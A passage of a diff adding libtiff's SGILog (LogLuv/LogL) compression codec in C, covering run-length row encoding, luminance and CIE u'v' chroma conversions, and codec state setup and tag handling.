+				if (!TIFFFlushData1(tif))
+					return (-1);
+				op = tif->tif_rawcp;
+				occ = tif->tif_rawdatasize - tif->tif_rawcc;
+			}
+			mask = 0xff << shft;		/* find next run */
+			for (beg = i; beg < npixels; beg += rc) {
+				b = tp[beg] & mask;
+				rc = 1;
+				while (rc < 127+2 && beg+rc < npixels &&
+						(tp[beg+rc] & mask) == b)
+					rc++;
+				if (rc >= MINRUN)
+					break;		/* long enough */
+			}
+			if (beg-i > 1 && beg-i < MINRUN) {
+				b = tp[i] & mask;	/* check short run */
+				j = i+1;
+				while ((tp[j++] & mask) == b)
+					if (j == beg) {
+						*op++ = (tidataval_t)(128-2+j-i);
+						*op++ = (tidataval_t)(b >> shft);
+						occ -= 2;
+						i = beg;
+						break;
+					}
+			}
+			while (i < beg) {		/* write out non-run */
+				if ((j = beg-i) > 127) j = 127;
+				if (occ < j+3) {
+					tif->tif_rawcp = op;
+					tif->tif_rawcc = tif->tif_rawdatasize - occ;
+					if (!TIFFFlushData1(tif))
+						return (-1);
+					op = tif->tif_rawcp;
+					occ = tif->tif_rawdatasize - tif->tif_rawcc;
+				}
+				*op++ = (tidataval_t) j; occ--;
+				while (j--) {
+					*op++ = (tidataval_t)(tp[i++] >> shft & 0xff);
+					occ--;
+				}
+			}
+			if (rc >= MINRUN) {		/* write out run */
+				*op++ = (tidataval_t) (128-2+rc);
+				*op++ = (tidataval_t)(tp[beg] >> shft & 0xff);
+				occ -= 2;
+			} else
+				rc = 0;
+		}
+	tif->tif_rawcp = op;
+	tif->tif_rawcc = tif->tif_rawdatasize - occ;
+
+	return (0);
+}
+
+/*
+ * Encode a strip of pixels.  We break it into rows to
+ * avoid encoding runs across row boundaries.
+ */
+static int
+LogLuvEncodeStrip(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	tsize_t rowlen = TIFFScanlineSize(tif);
+
+	assert(cc%rowlen == 0);
+	while (cc && (*tif->tif_encoderow)(tif, bp, rowlen, s) == 0)
+		bp += rowlen, cc -= rowlen;
+	return (cc == 0);
+}
+
+/*
+ * Encode a tile of pixels.  We break it into rows to
+ * avoid encoding runs across row boundaries.
+ */
+static int
+LogLuvEncodeTile(TIFF* tif, tidata_t bp, tsize_t cc, tsample_t s)
+{
+	tsize_t rowlen = TIFFTileRowSize(tif);
+
+	assert(cc%rowlen == 0);
+	while (cc && (*tif->tif_encoderow)(tif, bp, rowlen, s) == 0)
+		bp += rowlen, cc -= rowlen;
+	return (cc == 0);
+}
+
+/*
+ * Encode/Decode functions for converting to and from user formats.
+ */
+
+#include "uvcode.h"
+
+#ifndef UVSCALE
+#define U_NEU		0.210526316
+#define V_NEU		0.473684211
+#define UVSCALE		410.
+#endif
+
+#ifndef	M_LN2
+#define M_LN2		0.69314718055994530942
+#endif
+#ifndef M_PI
+#define M_PI		3.14159265358979323846
+#endif
+#define log2(x)		((1./M_LN2)*log(x))
+#define exp2(x)		exp(M_LN2*(x))
+
+#define itrunc(x,m)	((m)==SGILOGENCODE_NODITHER ? \
+				(int)(x) : \
+				(int)((x) + rand()*(1./RAND_MAX) - .5))
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+double
+LogL16toY(int p16)		/* compute luminance from 16-bit LogL */
+{
+	int	Le = p16 & 0x7fff;
+	double	Y;
+
+	if (!Le)
+		return (0.);
+	Y = exp(M_LN2/256.*(Le+.5) - M_LN2*64.);
+	return (!(p16 & 0x8000) ? Y : -Y);
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+int
+LogL16fromY(double Y, int em)	/* get 16-bit LogL from Y */
+{
+	if (Y >= 1.8371976e19)
+		return (0x7fff);
+	if (Y <= -1.8371976e19)
+		return (0xffff);
+	if (Y > 5.4136769e-20)
+		return itrunc(256.*(log2(Y) + 64.), em);
+	if (Y < -5.4136769e-20)
+		return (~0x7fff | itrunc(256.*(log2(-Y) + 64.), em));
+	return (0);
+}
+
+static void
+L16toY(LogLuvState* sp, tidata_t op, int n)
+{
+	int16* l16 = (int16*) sp->tbuf;
+	float* yp = (float*) op;
+
+	while (n-- > 0)
+		*yp++ = (float)LogL16toY(*l16++);
+}
+
+static void
+L16toGry(LogLuvState* sp, tidata_t op, int n)
+{
+	int16* l16 = (int16*) sp->tbuf;
+	uint8* gp = (uint8*) op;
+
+	while (n-- > 0) {
+		double Y = LogL16toY(*l16++);
+		*gp++ = (uint8) ((Y <= 0.) ? 0 : (Y >= 1.) ? 255 : (int)(256.*sqrt(Y)));
+	}
+}
+
+static void
+L16fromY(LogLuvState* sp, tidata_t op, int n)
+{
+	int16* l16 = (int16*) sp->tbuf;
+	float* yp = (float*) op;
+
+	while (n-- > 0)
+		*l16++ = (int16) (LogL16fromY(*yp++, sp->encode_meth));
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+void
+XYZtoRGB24(float xyz[3], uint8 rgb[3])
+{
+	double	r, g, b;
+					/* assume CCIR-709 primaries */
+	r =  2.690*xyz[0] + -1.276*xyz[1] + -0.414*xyz[2];
+	g = -1.022*xyz[0] +  1.978*xyz[1] +  0.044*xyz[2];
+	b =  0.061*xyz[0] + -0.224*xyz[1] +  1.163*xyz[2];
+					/* assume 2.0 gamma for speed */
+	/* could use integer sqrt approx., but this is probably faster */
+	rgb[0] = (uint8)((r<=0.) ? 0 : (r >= 1.) ? 255 : (int)(256.*sqrt(r)));
+	rgb[1] = (uint8)((g<=0.) ? 0 : (g >= 1.) ? 255 : (int)(256.*sqrt(g)));
+	rgb[2] = (uint8)((b<=0.) ? 0 : (b >= 1.) ? 255 : (int)(256.*sqrt(b)));
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+double
+LogL10toY(int p10)		/* compute luminance from 10-bit LogL */
+{
+	if (p10 == 0)
+		return (0.);
+	return (exp(M_LN2/64.*(p10+.5) - M_LN2*12.));
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+int
+LogL10fromY(double Y, int em)	/* get 10-bit LogL from Y */
+{
+	if (Y >= 15.742)
+		return (0x3ff);
+	else if (Y <= .00024283)
+		return (0);
+	else
+		return itrunc(64.*(log2(Y) + 12.), em);
+}
+
+#define NANGLES		100
+#define uv2ang(u, v)	( (NANGLES*.499999999/M_PI) \
+				* atan2((v)-V_NEU,(u)-U_NEU) + .5*NANGLES )
+
+static int
+oog_encode(double u, double v)		/* encode out-of-gamut chroma */
+{
+	static int	oog_table[NANGLES];
+	static int	initialized = 0;
+	register int	i;
+	
+	if (!initialized) {		/* set up perimeter table */
+		double	eps[NANGLES], ua, va, ang, epsa;
+		int	ui, vi, ustep;
+		for (i = NANGLES; i--; )
+			eps[i] = 2.;
+		for (vi = UV_NVS; vi--; ) {
+			va = UV_VSTART + (vi+.5)*UV_SQSIZ;
+			ustep = uv_row[vi].nus-1;
+			if (vi == UV_NVS-1 || vi == 0 || ustep <= 0)
+				ustep = 1;
+			for (ui = uv_row[vi].nus-1; ui >= 0; ui -= ustep) {
+				ua = uv_row[vi].ustart + (ui+.5)*UV_SQSIZ;
+				ang = uv2ang(ua, va);
+                                i = (int) ang;
+				epsa = fabs(ang - (i+.5));
+				if (epsa < eps[i]) {
+					oog_table[i] = uv_row[vi].ncum + ui;
+					eps[i] = epsa;
+				}
+			}
+		}
+		for (i = NANGLES; i--; )	/* fill any holes */
+			if (eps[i] > 1.5) {
+				int	i1, i2;
+				for (i1 = 1; i1 < NANGLES/2; i1++)
+					if (eps[(i+i1)%NANGLES] < 1.5)
+						break;
+				for (i2 = 1; i2 < NANGLES/2; i2++)
+					if (eps[(i+NANGLES-i2)%NANGLES] < 1.5)
+						break;
+				if (i1 < i2)
+					oog_table[i] =
+						oog_table[(i+i1)%NANGLES];
+				else
+					oog_table[i] =
+						oog_table[(i+NANGLES-i2)%NANGLES];
+			}
+		initialized = 1;
+	}
+	i = (int) uv2ang(u, v);		/* look up hue angle */
+	return (oog_table[i]);
+}
+
+#undef uv2ang
+#undef NANGLES
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+int
+uv_encode(double u, double v, int em)	/* encode (u',v') coordinates */
+{
+	register int	vi, ui;
+
+	if (v < UV_VSTART)
+		return oog_encode(u, v);
+	vi = itrunc((v - UV_VSTART)*(1./UV_SQSIZ), em);
+	if (vi >= UV_NVS)
+		return oog_encode(u, v);
+	if (u < uv_row[vi].ustart)
+		return oog_encode(u, v);
+	ui = itrunc((u - uv_row[vi].ustart)*(1./UV_SQSIZ), em);
+	if (ui >= uv_row[vi].nus)
+		return oog_encode(u, v);
+
+	return (uv_row[vi].ncum + ui);
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+int
+uv_decode(double *up, double *vp, int c)	/* decode (u',v') index */
+{
+	int	upper, lower;
+	register int	ui, vi;
+
+	if (c < 0 || c >= UV_NDIVS)
+		return (-1);
+	lower = 0;				/* binary search */
+	upper = UV_NVS;
+	while (upper - lower > 1) {
+		vi = (lower + upper) >> 1;
+		ui = c - uv_row[vi].ncum;
+		if (ui > 0)
+			lower = vi;
+		else if (ui < 0)
+			upper = vi;
+		else {
+			lower = vi;
+			break;
+		}
+	}
+	vi = lower;
+	ui = c - uv_row[vi].ncum;
+	*up = uv_row[vi].ustart + (ui+.5)*UV_SQSIZ;
+	*vp = UV_VSTART + (vi+.5)*UV_SQSIZ;
+	return (0);
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+void
+LogLuv24toXYZ(uint32 p, float XYZ[3])
+{
+	int	Ce;
+	double	L, u, v, s, x, y;
+					/* decode luminance */
+	L = LogL10toY(p>>14 & 0x3ff);
+	if (L <= 0.) {
+		XYZ[0] = XYZ[1] = XYZ[2] = 0.;
+		return;
+	}
+					/* decode color */
+	Ce = p & 0x3fff;
+	if (uv_decode(&u, &v, Ce) < 0) {
+		u = U_NEU; v = V_NEU;
+	}
+	s = 1./(6.*u - 16.*v + 12.);
+	x = 9.*u * s;
+	y = 4.*v * s;
+					/* convert to XYZ */
+	XYZ[0] = (float)(x/y * L);
+	XYZ[1] = (float)L;
+	XYZ[2] = (float)((1.-x-y)/y * L);
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+uint32
+LogLuv24fromXYZ(float XYZ[3], int em)
+{
+	int	Le, Ce;
+	double	u, v, s;
+					/* encode luminance */
+	Le = LogL10fromY(XYZ[1], em);
+					/* encode color */
+	s = XYZ[0] + 15.*XYZ[1] + 3.*XYZ[2];
+	if (!Le || s <= 0.) {
+		u = U_NEU;
+		v = V_NEU;
+	} else {
+		u = 4.*XYZ[0] / s;
+		v = 9.*XYZ[1] / s;
+	}
+	Ce = uv_encode(u, v, em);
+	if (Ce < 0)			/* never happens */
+		Ce = uv_encode(U_NEU, V_NEU, SGILOGENCODE_NODITHER);
+					/* combine encodings */
+	return (Le << 14 | Ce);
+}
+
+static void
+Luv24toXYZ(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	float* xyz = (float*) op;
+
+	while (n-- > 0) {
+		LogLuv24toXYZ(*luv, xyz);
+		xyz += 3;
+		luv++;
+	}
+}
+
+static void
+Luv24toLuv48(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	int16* luv3 = (int16*) op;
+
+	while (n-- > 0) {
+		double u, v;
+
+		*luv3++ = (int16)((*luv >> 12 & 0xffd) + 13314);
+		if (uv_decode(&u, &v, *luv&0x3fff) < 0) {
+			u = U_NEU;
+			v = V_NEU;
+		}
+		*luv3++ = (int16)(u * (1L<<15));
+		*luv3++ = (int16)(v * (1L<<15));
+		luv++;
+	}
+}
+
+static void
+Luv24toRGB(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	uint8* rgb = (uint8*) op;
+
+	while (n-- > 0) {
+		float xyz[3];
+
+		LogLuv24toXYZ(*luv++, xyz);
+		XYZtoRGB24(xyz, rgb);
+		rgb += 3;
+	}
+}
+
+static void
+Luv24fromXYZ(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	float* xyz = (float*) op;
+
+	while (n-- > 0) {
+		*luv++ = LogLuv24fromXYZ(xyz, sp->encode_meth);
+		xyz += 3;
+	}
+}
+
+static void
+Luv24fromLuv48(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	int16* luv3 = (int16*) op;
+
+	while (n-- > 0) {
+		int Le, Ce;
+
+		if (luv3[0] <= 0)
+			Le = 0;
+		else if (luv3[0] >= (1<<12)+3314)
+			Le = (1<<10) - 1;
+		else if (sp->encode_meth == SGILOGENCODE_NODITHER)
+			Le = (luv3[0]-3314) >> 2;
+		else
+			Le = itrunc(.25*(luv3[0]-3314.), sp->encode_meth);
+
+		Ce = uv_encode((luv3[1]+.5)/(1<<15), (luv3[2]+.5)/(1<<15),
+					sp->encode_meth);
+		if (Ce < 0)	/* never happens */
+			Ce = uv_encode(U_NEU, V_NEU, SGILOGENCODE_NODITHER);
+		*luv++ = (uint32)Le << 14 | Ce;
+		luv3 += 3;
+	}
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+void
+LogLuv32toXYZ(uint32 p, float XYZ[3])
+{
+	double	L, u, v, s, x, y;
+					/* decode luminance */
+	L = LogL16toY((int)p >> 16);
+	if (L <= 0.) {
+		XYZ[0] = XYZ[1] = XYZ[2] = 0.;
+		return;
+	}
+					/* decode color */
+	u = 1./UVSCALE * ((p>>8 & 0xff) + .5);
+	v = 1./UVSCALE * ((p & 0xff) + .5);
+	s = 1./(6.*u - 16.*v + 12.);
+	x = 9.*u * s;
+	y = 4.*v * s;
+					/* convert to XYZ */
+	XYZ[0] = (float)(x/y * L);
+	XYZ[1] = (float)L;
+	XYZ[2] = (float)((1.-x-y)/y * L);
+}
+
+#if !LOGLUV_PUBLIC
+static
+#endif
+uint32
+LogLuv32fromXYZ(float XYZ[3], int em)
+{
+	unsigned int	Le, ue, ve;
+	double	u, v, s;
+					/* encode luminance */
+	Le = (unsigned int)LogL16fromY(XYZ[1], em);
+					/* encode color */
+	s = XYZ[0] + 15.*XYZ[1] + 3.*XYZ[2];
+	if (!Le || s <= 0.) {
+		u = U_NEU;
+		v = V_NEU;
+	} else {
+		u = 4.*XYZ[0] / s;
+		v = 9.*XYZ[1] / s;
+	}
+	if (u <= 0.) ue = 0;
+	else ue = itrunc(UVSCALE*u, em);
+	if (ue > 255) ue = 255;
+	if (v <= 0.) ve = 0;
+	else ve = itrunc(UVSCALE*v, em);
+	if (ve > 255) ve = 255;
+					/* combine encodings */
+	return (Le << 16 | ue << 8 | ve);
+}
+
+static void
+Luv32toXYZ(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	float* xyz = (float*) op;
+
+	while (n-- > 0) {
+		LogLuv32toXYZ(*luv++, xyz);
+		xyz += 3;
+	}
+}
+
+static void
+Luv32toLuv48(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	int16* luv3 = (int16*) op;
+
+	while (n-- > 0) {
+		double u, v;
+
+		*luv3++ = (int16)(*luv >> 16);
+		u = 1./UVSCALE * ((*luv>>8 & 0xff) + .5);
+		v = 1./UVSCALE * ((*luv & 0xff) + .5);
+		*luv3++ = (int16)(u * (1L<<15));
+		*luv3++ = (int16)(v * (1L<<15));
+		luv++;
+	}
+}
+
+static void
+Luv32toRGB(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	uint8* rgb = (uint8*) op;
+
+	while (n-- > 0) {
+		float xyz[3];
+
+		LogLuv32toXYZ(*luv++, xyz);
+		XYZtoRGB24(xyz, rgb);
+		rgb += 3;
+	}
+}
+
+static void
+Luv32fromXYZ(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	float* xyz = (float*) op;
+
+	while (n-- > 0) {
+		*luv++ = LogLuv32fromXYZ(xyz, sp->encode_meth);
+		xyz += 3;
+	}
+}
+
+static void
+Luv32fromLuv48(LogLuvState* sp, tidata_t op, int n)
+{
+	uint32* luv = (uint32*) sp->tbuf;
+	int16* luv3 = (int16*) op;
+
+	if (sp->encode_meth == SGILOGENCODE_NODITHER) {
+		while (n-- > 0) {
+			*luv++ = (uint32)luv3[0] << 16 |
+				(luv3[1]*(uint32)(UVSCALE+.5) >> 7 & 0xff00) |
+				(luv3[2]*(uint32)(UVSCALE+.5) >> 15 & 0xff);
+			luv3 += 3;
+		}
+		return;
+	}
+	while (n-- > 0) {
+		*luv++ = (uint32)luv3[0] << 16 |
+	(itrunc(luv3[1]*(UVSCALE/(1<<15)), sp->encode_meth) << 8 & 0xff00) |
+		(itrunc(luv3[2]*(UVSCALE/(1<<15)), sp->encode_meth) & 0xff);
+		luv3 += 3;
+	}
+}
+
+static void
+_logLuvNop(LogLuvState* sp, tidata_t op, int n)
+{
+	(void) sp; (void) op; (void) n;
+}
+
+static int
+LogL16GuessDataFmt(TIFFDirectory *td)
+{
+#define	PACK(s,b,f)	(((b)<<6)|((s)<<3)|(f))
+	switch (PACK(td->td_samplesperpixel, td->td_bitspersample, td->td_sampleformat)) {
+	case PACK(1, 32, SAMPLEFORMAT_IEEEFP):
+		return (SGILOGDATAFMT_FLOAT);
+	case PACK(1, 16, SAMPLEFORMAT_VOID):
+	case PACK(1, 16, SAMPLEFORMAT_INT):
+	case PACK(1, 16, SAMPLEFORMAT_UINT):
+		return (SGILOGDATAFMT_16BIT);
+	case PACK(1,  8, SAMPLEFORMAT_VOID):
+	case PACK(1,  8, SAMPLEFORMAT_UINT):
+		return (SGILOGDATAFMT_8BIT);
+	}
+#undef PACK
+	return (SGILOGDATAFMT_UNKNOWN);
+}
+
+static uint32
+multiply(size_t m1, size_t m2)
+{
+	uint32	bytes = m1 * m2;
+
+	if (m1 && bytes / m1 != m2)
+		bytes = 0;
+
+	return bytes;
+}
+
+static int
+LogL16InitState(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+	LogLuvState* sp = DecoderState(tif);
+	static const char module[] = "LogL16InitState";
+
+	assert(sp != NULL);
+	assert(td->td_photometric == PHOTOMETRIC_LOGL);
+
+	/* for some reason, we can't do this in TIFFInitLogL16 */
+	if (sp->user_datafmt == SGILOGDATAFMT_UNKNOWN)
+		sp->user_datafmt = LogL16GuessDataFmt(td);
+	switch (sp->user_datafmt) {
+	case SGILOGDATAFMT_FLOAT:
+		sp->pixel_size = sizeof (float);
+		break;
+	case SGILOGDATAFMT_16BIT:
+		sp->pixel_size = sizeof (int16);
+		break;
+	case SGILOGDATAFMT_8BIT:
+		sp->pixel_size = sizeof (uint8);
+		break;
+	default:
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "No support for converting user data format to LogL");
+		return (0);
+	}
+	sp->tbuflen = multiply(td->td_imagewidth, td->td_rowsperstrip);
+	if (multiply(sp->tbuflen, sizeof (int16)) == 0 ||
+	    (sp->tbuf = (tidata_t*) _TIFFmalloc(sp->tbuflen * sizeof (int16))) == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: No space for SGILog translation buffer",
+		    tif->tif_name);
+		return (0);
+	}
+	return (1);
+}
+
+static int
+LogLuvGuessDataFmt(TIFFDirectory *td)
+{
+	int guess;
+
+	/*
+	 * If the user didn't tell us their datafmt,
+	 * take our best guess from the bitspersample.
+	 */
+#define	PACK(a,b)	(((a)<<3)|(b))
+	switch (PACK(td->td_bitspersample, td->td_sampleformat)) {
+	case PACK(32, SAMPLEFORMAT_IEEEFP):
+		guess = SGILOGDATAFMT_FLOAT;
+		break;
+	case PACK(32, SAMPLEFORMAT_VOID):
+	case PACK(32, SAMPLEFORMAT_UINT):
+	case PACK(32, SAMPLEFORMAT_INT):
+		guess = SGILOGDATAFMT_RAW;
+		break;
+	case PACK(16, SAMPLEFORMAT_VOID):
+	case PACK(16, SAMPLEFORMAT_INT):
+	case PACK(16, SAMPLEFORMAT_UINT):
+		guess = SGILOGDATAFMT_16BIT;
+		break;
+	case PACK( 8, SAMPLEFORMAT_VOID):
+	case PACK( 8, SAMPLEFORMAT_UINT):
+		guess = SGILOGDATAFMT_8BIT;
+		break;
+	default:
+		guess = SGILOGDATAFMT_UNKNOWN;
+		break;
+#undef PACK
+	}
+	/*
+	 * Double-check samples per pixel.
+	 */
+	switch (td->td_samplesperpixel) {
+	case 1:
+		if (guess != SGILOGDATAFMT_RAW)
+			guess = SGILOGDATAFMT_UNKNOWN;
+		break;
+	case 3:
+		if (guess == SGILOGDATAFMT_RAW)
+			guess = SGILOGDATAFMT_UNKNOWN;
+		break;
+	default:
+		guess = SGILOGDATAFMT_UNKNOWN;
+		break;
+	}
+	return (guess);
+}
+
+static int
+LogLuvInitState(TIFF* tif)
+{
+	TIFFDirectory* td = &tif->tif_dir;
+	LogLuvState* sp = DecoderState(tif);
+	static const char module[] = "LogLuvInitState";
+
+	assert(sp != NULL);
+	assert(td->td_photometric == PHOTOMETRIC_LOGLUV);
+
+	/* for some reason, we can't do this in TIFFInitLogLuv */
+	if (td->td_planarconfig != PLANARCONFIG_CONTIG) {
+		TIFFErrorExt(tif->tif_clientdata, module,
+		    "SGILog compression cannot handle non-contiguous data");
+		return (0);
+	}
+	if (sp->user_datafmt == SGILOGDATAFMT_UNKNOWN)
+		sp->user_datafmt = LogLuvGuessDataFmt(td);
+	switch (sp->user_datafmt) {
+	case SGILOGDATAFMT_FLOAT:
+		sp->pixel_size = 3*sizeof (float);
+		break;
+	case SGILOGDATAFMT_16BIT:
+		sp->pixel_size = 3*sizeof (int16);
+		break;
+	case SGILOGDATAFMT_RAW:
+		sp->pixel_size = sizeof (uint32);
+		break;
+	case SGILOGDATAFMT_8BIT:
+		sp->pixel_size = 3*sizeof (uint8);
+		break;
+	default:
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "No support for converting user data format to LogLuv");
+		return (0);
+	}
+	sp->tbuflen = multiply(td->td_imagewidth, td->td_rowsperstrip);
+	if (multiply(sp->tbuflen, sizeof (uint32)) == 0 ||
+	    (sp->tbuf = (tidata_t*) _TIFFmalloc(sp->tbuflen * sizeof (uint32))) == NULL) {
+		TIFFErrorExt(tif->tif_clientdata, module, "%s: No space for SGILog translation buffer",
+		    tif->tif_name);
+		return (0);
+	}
+	return (1);
+}
+
+static int
+LogLuvSetupDecode(TIFF* tif)
+{
+	LogLuvState* sp = DecoderState(tif);
+	TIFFDirectory* td = &tif->tif_dir;
+
+	tif->tif_postdecode = _TIFFNoPostDecode;
+	switch (td->td_photometric) {
+	case PHOTOMETRIC_LOGLUV:
+		if (!LogLuvInitState(tif))
+			break;
+		if (td->td_compression == COMPRESSION_SGILOG24) {
+			tif->tif_decoderow = LogLuvDecode24;
+			switch (sp->user_datafmt) {
+			case SGILOGDATAFMT_FLOAT:
+				sp->tfunc = Luv24toXYZ;
+				break;
+			case SGILOGDATAFMT_16BIT:
+				sp->tfunc = Luv24toLuv48;
+				break;
+			case SGILOGDATAFMT_8BIT:
+				sp->tfunc = Luv24toRGB;
+				break;
+			}
+		} else {
+			tif->tif_decoderow = LogLuvDecode32;
+			switch (sp->user_datafmt) {
+			case SGILOGDATAFMT_FLOAT:
+				sp->tfunc = Luv32toXYZ;
+				break;
+			case SGILOGDATAFMT_16BIT:
+				sp->tfunc = Luv32toLuv48;
+				break;
+			case SGILOGDATAFMT_8BIT:
+				sp->tfunc = Luv32toRGB;
+				break;
+			}
+		}
+		return (1);
+	case PHOTOMETRIC_LOGL:
+		if (!LogL16InitState(tif))
+			break;
+		tif->tif_decoderow = LogL16Decode;
+		switch (sp->user_datafmt) {
+		case SGILOGDATAFMT_FLOAT:
+			sp->tfunc = L16toY;
+			break;
+		case SGILOGDATAFMT_8BIT:
+			sp->tfunc = L16toGry;
+			break;
+		}
+		return (1);
+	default:
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+    "Inappropriate photometric interpretation %d for SGILog compression; %s",
+		    td->td_photometric, "must be either LogLUV or LogL");
+		break;
+	}
+	return (0);
+}
+
+static int
+LogLuvSetupEncode(TIFF* tif)
+{
+	LogLuvState* sp = EncoderState(tif);
+	TIFFDirectory* td = &tif->tif_dir;
+
+	switch (td->td_photometric) {
+	case PHOTOMETRIC_LOGLUV:
+		if (!LogLuvInitState(tif))
+			break;
+		if (td->td_compression == COMPRESSION_SGILOG24) {
+			tif->tif_encoderow = LogLuvEncode24;
+			switch (sp->user_datafmt) {
+			case SGILOGDATAFMT_FLOAT:
+				sp->tfunc = Luv24fromXYZ;
+				break;
+			case SGILOGDATAFMT_16BIT:
+				sp->tfunc = Luv24fromLuv48;
+				break;
+			case SGILOGDATAFMT_RAW:
+				break;
+			default:
+				goto notsupported;
+			}
+		} else {
+			tif->tif_encoderow = LogLuvEncode32;
+			switch (sp->user_datafmt) {
+			case SGILOGDATAFMT_FLOAT:
+				sp->tfunc = Luv32fromXYZ;
+				break;
+			case SGILOGDATAFMT_16BIT:
+				sp->tfunc = Luv32fromLuv48;
+				break;
+			case SGILOGDATAFMT_RAW:
+				break;
+			default:
+				goto notsupported;
+			}
+		}
+		break;
+	case PHOTOMETRIC_LOGL:
+		if (!LogL16InitState(tif))
+			break;
+		tif->tif_encoderow = LogL16Encode;
+		switch (sp->user_datafmt) {
+		case SGILOGDATAFMT_FLOAT:
+			sp->tfunc = L16fromY;
+			break;
+		case SGILOGDATAFMT_16BIT:
+			break;
+		default:
+			goto notsupported;
+		}
+		break;
+	default:
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+    "Inappropriate photometric interpretation %d for SGILog compression; %s",
+    		    td->td_photometric, "must be either LogLUV or LogL");
+		break;
+	}
+	return (1);
+notsupported:
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "SGILog compression supported only for %s, or raw data",
+	    td->td_photometric == PHOTOMETRIC_LOGL ? "Y, L" : "XYZ, Luv");
+	return (0);
+}
+
+static void
+LogLuvClose(TIFF* tif)
+{
+	TIFFDirectory *td = &tif->tif_dir;
+
+	/*
+	 * For consistency, we always want to write out the same
+	 * bitspersample and sampleformat for our TIFF file,
+	 * regardless of the data format being used by the application.
+	 * Since this routine is called after tags have been set but
+	 * before they have been recorded in the file, we reset them here.
+	 */
+	td->td_samplesperpixel =
+	    (td->td_photometric == PHOTOMETRIC_LOGL) ? 1 : 3;
+	td->td_bitspersample = 16;
+	td->td_sampleformat = SAMPLEFORMAT_INT;
+}
+
+static void
+LogLuvCleanup(TIFF* tif)
+{
+	LogLuvState* sp = (LogLuvState *)tif->tif_data;
+
+	assert(sp != 0);
+
+	tif->tif_tagmethods.vgetfield = sp->vgetparent;
+	tif->tif_tagmethods.vsetfield = sp->vsetparent;
+
+	if (sp->tbuf)
+		_TIFFfree(sp->tbuf);
+	_TIFFfree(sp);
+	tif->tif_data = NULL;
+
+	_TIFFSetDefaultCompressionState(tif);
+}
+
+static int
+LogLuvVSetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	LogLuvState* sp = DecoderState(tif);
+	int bps, fmt;
+
+	switch (tag) {
+	case TIFFTAG_SGILOGDATAFMT:
+		sp->user_datafmt = va_arg(ap, int);
+		/*
+		 * Tweak the TIFF header so that the rest of libtiff knows what
+		 * size of data will be passed between app and library, and
+		 * assume that the app knows what it is doing and is not
+		 * confused by these header manipulations...
+		 */
+		switch (sp->user_datafmt) {
+		case SGILOGDATAFMT_FLOAT:
+			bps = 32, fmt = SAMPLEFORMAT_IEEEFP;
+			break;
+		case SGILOGDATAFMT_16BIT:
+			bps = 16, fmt = SAMPLEFORMAT_INT;
+			break;
+		case SGILOGDATAFMT_RAW:
+			bps = 32, fmt = SAMPLEFORMAT_UINT;
+			TIFFSetField(tif, TIFFTAG_SAMPLESPERPIXEL, 1);
+			break;
+		case SGILOGDATAFMT_8BIT:
+			bps = 8, fmt = SAMPLEFORMAT_UINT;
+			break;
+		default:
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			    "Unknown data format %d for LogLuv compression",
+			    sp->user_datafmt);
+			return (0);
+		}
+		TIFFSetField(tif, TIFFTAG_BITSPERSAMPLE, bps);
+		TIFFSetField(tif, TIFFTAG_SAMPLEFORMAT, fmt);
+		/*
+		 * Must recalculate sizes should bits/sample change.
+		 */
+		tif->tif_tilesize = isTiled(tif) ? TIFFTileSize(tif) : (tsize_t) -1;
+		tif->tif_scanlinesize = TIFFScanlineSize(tif);
+		return (1);
+	case TIFFTAG_SGILOGENCODE:
+		sp->encode_meth = va_arg(ap, int);
+		if (sp->encode_meth != SGILOGENCODE_NODITHER &&
+				sp->encode_meth != SGILOGENCODE_RANDITHER) {
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+				"Unknown encoding %d for LogLuv compression",
+				sp->encode_meth);
+			return (0);
+		}
+		return (1);
+	default:
+		return (*sp->vsetparent)(tif, tag, ap);
+	}
+}
+
+static int
+LogLuvVGetField(TIFF* tif, ttag_t tag, va_list ap)
+{
+	LogLuvState *sp = (LogLuvState *)tif->tif_data;
+
+	switch (tag) {
+	case TIFFTAG_SGILOGDATAFMT:
+		*va_arg(ap, int*) = sp->user_datafmt;
+		return (1);
+	default:
+		return (*sp->vgetparent)(tif, tag, ap);
+	}
+}
+
+static const TIFFFieldInfo LogLuvFieldInfo[] = {
+    { TIFFTAG_SGILOGDATAFMT,	  0, 0,	TIFF_SHORT,	FIELD_PSEUDO,
+      TRUE,	FALSE,	"SGILogDataFmt"},
+    { TIFFTAG_SGILOGENCODE,	  0, 0, TIFF_SHORT,	FIELD_PSEUDO,
+      TRUE,	FALSE,	"SGILogEncode"}
+};
+
+int
